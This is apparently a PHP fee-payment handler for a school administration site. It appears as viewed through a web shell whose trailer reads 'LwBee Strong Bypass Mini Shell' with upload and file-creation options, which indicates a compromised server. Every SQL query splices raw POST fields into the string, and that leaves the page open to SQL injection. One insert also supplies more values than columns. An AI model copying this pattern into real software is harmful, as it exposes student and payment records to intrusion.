/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/fee_payment.php
<?php
  include('include/include.php');

  if($_POST['type']==1)
  {
    
  	 $select_study_data = executework("SELECT * FROM student_fee where class = '".$_POST['PresentClass']."' and yearOf = '".$_POST['Academic_year']."' and admission_no = '".$_POST['AdmissionNo']."' and category ='STUDY FEE' order by id desc limit 1");
     $invoicevalue = substr($_POST['invoice_value'],7);
    
     if(mysqli_num_rows($select_study_data)>0){
     $row_study = mysqli_fetch_array($select_study_data);
     $dueamount = $row_study['study_due_amount']-$_POST['amount_data'];
     $paid_amount = $row_study['study_paid_amount']+$_POST['amount_data'];
   }
   else
   {
      $dueamount = $_POST['study_amount']-$_POST['amount_data'];
      $paid_amount = $_POST['amount_data'];
   } 

    

  	 	$insert_study = executeworkins("insert into student_fee (class,branch,studytotal_amount,study_due_amount,study_paid_amount,fee_date,study_daily_amount,create_date,admission_no,yearOf,category,invoice,paid_by) values ('".$_POST['PresentClass']."','".$_POST['Branch']."','".$_POST['study_amount']."','".$dueamount."','".$paid_amount."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".$_POST['amount_data']."','".date('Y-m-d H:i:s')."','".$_POST['AdmissionNo']."', '".$_POST['Academic_year']."','STUDY FEE','". $invoicevalue."','".$_POST['paid_by']."') ");

  	 	if(!empty($insert_study)){
         $insert_credit = executework("insert into daybook_credt (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,reason) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','STUDY FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','".$_POST['paid_by']."') ");

          $daybook_cre_deb = executework("insert into daybook_cre_deb (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,type,reason) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','STUDY FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','Credit','".$_POST['paid_by']."') ");
        }
        
  	 	
  }
if($_POST['type']==2)
  {
  
   

   $select_bus_data = executework("SELECT * FROM student_fee where class = '".$_POST['PresentClass']."' and yearOf = '".$_POST['Academic_year']."' and admission_no = '".$_POST['AdmissionNo']."' and category ='BUS FEE' order by id desc limit 1");
     $invoicevalue = substr($_POST['invoice_value'],7);
    
     if(mysqli_num_rows($select_bus_data)>0){
     $row_bus = mysqli_fetch_array($select_bus_data);
     $dueamount = $row_bus['study_due_amount']-$_POST['amount_data'];
     $paid_amount = $row_bus['study_paid_amount']+$_POST['amount_data'];
   }
   else
   {

      $dueamount = $_POST['bus_amount']-$_POST['amount_data'];
      $paid_amount = $_POST['amount_data'];
   } 
  
    

      $insert_study = executeworkins("insert into student_fee (class,branch,studytotal_amount,study_due_amount,study_paid_amount,fee_date,study_daily_amount,create_date,admission_no,yearOf,category,invoice,paid_by) values ('".$_POST['PresentClass']."','".$_POST['Branch']."','".$_POST['bus_amount']."','".$dueamount."','".$paid_amount."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".$_POST['amount_data']."','".date('Y-m-d H:i:s')."','".$_POST['AdmissionNo']."', '".$_POST['Academic_year']."','BUS FEE','". $invoicevalue."','".$_POST['paid_by']."') ");

      if(!empty($insert_study)){
         $insert_credit = executework("insert into daybook_credt (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,reason) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','BUS FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','".$_POST['paid_by']."') ");


          $daybook_cre_deb = executework("insert into daybook_cre_deb (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,type,reason) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','BUS FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','Credit','".$_POST['paid_by']."') ");
        }
     
  
}

if($_POST['type']==3)
  {
     
       $select_study_data = executework("SELECT * FROM student_fee where class = '".$_POST['PresentClass']."' and yearOf = '".$_POST['Academic_year']."' and admission_no = '".$_POST['AdmissionNo']."' and category ='ADDITIONAL FEE' order by id desc limit 1");
       $invoicevalue = substr($_POST['invoice_value'],7);
     if(mysqli_num_rows($select_study_data)>0){
     $row_study = mysqli_fetch_array($select_study_data);

     $dueamount = $row_study['study_due_amount']-$_POST['amount_data'];
     $paid_amount = $row_study['study_paid_amount']+$_POST['amount_data'];
   }
   else
   {
      $dueamount = $_POST['additional_amount']-$_POST['amount_data'];
      $paid_amount = $_POST['amount_data'];
   }
   

       $insert_add = executeworkins("insert into student_fee (class,branch,studytotal_amount,study_due_amount,study_paid_amount,fee_date,study_daily_amount,create_date,admission_no,yearOf,category,invoice,paid_by) values ('".$_POST['PresentClass']."','".$_POST['Branch']."','".$_POST['additional_amount']."','".$dueamount."','".$paid_amount."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".$_POST['amount_data']."','".date('Y-m-d H:i:s')."','".$_POST['AdmissionNo']."', '".$_POST['Academic_year']."','ADDITIONAL FEE','". $invoicevalue."','".$_POST['paid_by']."') ");


      if(!empty($insert_add)){
          
         $insert_credit = executework("insert into daybook_credt (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,reason) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','ADDITIONAL FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','".$_POST['paid_by']."') ");

          $daybook_cre_deb = executework("insert into daybook_cre_deb (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,type,reason) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','ADDITIONAL FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','Credit','".$_POST['paid_by']."') ");
      }
      echo $insert_add;
      
     
     
  }



  if($_POST['type']==4)
  {
   
      $select_study_data = executework("SELECT * FROM student_fee where class = '".$_POST['PresentClass']."' and yearOf = '".$_POST['Academic_year']."' and admission_no = '".$_POST['AdmissionNo']."' and category ='HOSTEL FEE' order by id desc limit 1");
      $invoicevalue = substr($_POST['invoice_value'],7);
     if(mysqli_num_rows($select_study_data)>0){
     $row_study = mysqli_fetch_array($select_study_data);
     $dueamount = $row_study['study_due_amount']-$_POST['amount_data'];
     $paid_amount = $row_study['study_paid_amount']+$_POST['amount_data'];
   }
   else
   {
      $dueamount = $_POST['Hostel_amount']-$_POST['amount_data'];
      $paid_amount = $_POST['amount_data'];
   }

   
    
     $insert_hostel = executeworkins("insert into student_fee (class,branch,studytotal_amount,study_due_amount,study_paid_amount,fee_date,study_daily_amount,create_date,admission_no,yearOf,category,invoice,paid_by) values ('".$_POST['PresentClass']."','".$_POST['Branch']."','".$_POST['Hostel_amount']."','".$dueamount."','".$paid_amount."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".$_POST['amount_data']."','".date('Y-m-d H:i:s')."','".$_POST['AdmissionNo']."', '".$_POST['Academic_year']."','HOSTEL FEE','". $invoicevalue."','".$_POST['paid_by']."') ");

      if(!empty($insert_hostel)){

         
         $insert_credit = executework("insert into daybook_credt (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,reason) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','HOSTEL FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','".$_POST['paid_by']."') ");

          $daybook_cre_deb = executework("insert into daybook_cre_deb (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,type,reason) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','HOSTEL FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','Credit','".$_POST['paid_by']."') ");
      }
      echo $insert_hostel;
      
     }
     
  
 if($_POST['type']==5)
  {
   

      $select_study_data = executework("SELECT * FROM student_fee where class = '".$_POST['PresentClass']."' and yearOf = '".$_POST['Academic_year']."' and admission_no = '".$_POST['AdmissionNo']."' and category ='BOOKS FEE' order by id desc limit 1");
      $invoicevalue = substr($_POST['invoice_value'],7);
     if(mysqli_num_rows($select_study_data)>0){
     $row_study = mysqli_fetch_array($select_study_data);
     $dueamount = $row_study['study_due_amount']-$_POST['amount_data'];
     $paid_amount = $row_study['study_paid_amount']+$_POST['amount_data'];
   }
   else
   {
      $dueamount = $_POST['Books_amount']-$_POST['amount_data'];
      $paid_amount = $_POST['amount_data'];
   }

    $insert_hostel = executeworkins("insert into student_fee (class,branch,studytotal_amount,study_due_amount,study_paid_amount,fee_date,study_daily_amount,create_date,admission_no,yearOf,category,invoice,paid_by) values ('".$_POST['PresentClass']."','".$_POST['Branch']."','".$_POST['Books_amount']."','".$dueamount."','".$paid_amount."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".$_POST['amount_data']."','".date('Y-m-d H:i:s')."','".$_POST['AdmissionNo']."', '".$_POST['Academic_year']."','BOOKS FEE','". $invoicevalue."','".$_POST['paid_by']."') ");

     
      if(!empty($insert_hostel)){

         
         $insert_credit = executework("insert into daybook_credt (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,reason) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','BOOKS FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','".$_POST['paid_by']."') ");

          $daybook_cre_deb = executework("insert into daybook_cre_deb (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,type,reason) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','BOOKS FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','Credit','".$_POST['paid_by']."') ");
      }
      echo $insert_hostel;
      
     }
     

     if($_POST['type']==6)
  {
   

      $select_study_data = executework("SELECT * FROM student_fee where class = '".$_POST['PresentClass']."' and yearOf = '".$_POST['Academic_year']."' and admission_no = '".$_POST['AdmissionNo']."' and category ='ADMISSION FEE' order by id desc limit 1");
      $invoicevalue = substr($_POST['invoice_value'],7);
     if(mysqli_num_rows($select_study_data)>0){
     $row_study = mysqli_fetch_array($select_study_data);
     $dueamount = $row_study['study_due_amount']-$_POST['amount_data'];
     $paid_amount = $row_study['study_paid_amount']+$_POST['amount_data'];
   }
   else
   {
      $dueamount = $_POST['Admission_amount']-$_POST['amount_data'];
      $paid_amount = $_POST['amount_data'];
   }

    $insert_hostel = executeworkins("insert into student_fee (class,branch,studytotal_amount,study_due_amount,study_paid_amount,fee_date,study_daily_amount,create_date,admission_no,yearOf,category,invoice,paid_by) values ('".$_POST['PresentClass']."','".$_POST['Branch']."','".$_POST['Admission_amount']."','".$dueamount."','".$paid_amount."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".$_POST['amount_data']."','".date('Y-m-d H:i:s')."','".$_POST['AdmissionNo']."', '".$_POST['Academic_year']."','ADMISSION FEE','". $invoicevalue."','".$_POST['paid_by']."') ");

     
      if(!empty($insert_hostel)){

         
           $insert_credit = executework("insert into daybook_credt (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,reason) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','ADMISSION FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','".$_POST['paid_by']."') ");

          $daybook_cre_deb = executework("insert into daybook_cre_deb (academicYear,branch_name,category_name,amount,date,create_date,VocherNumber,type) values ('".$_POST['Academic_year']."','".$_POST['Branch']."','ADMISSION FEE','".$_POST['amount_data']."','".date('Y-m-d',strtotime($_POST['fee_date']))."','".date('Y-m-d H:i:s')."','". $invoicevalue."','Credit','".$_POST['paid_by']."') ");
      }
      echo $insert_hostel;
      
     }
     


 
?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File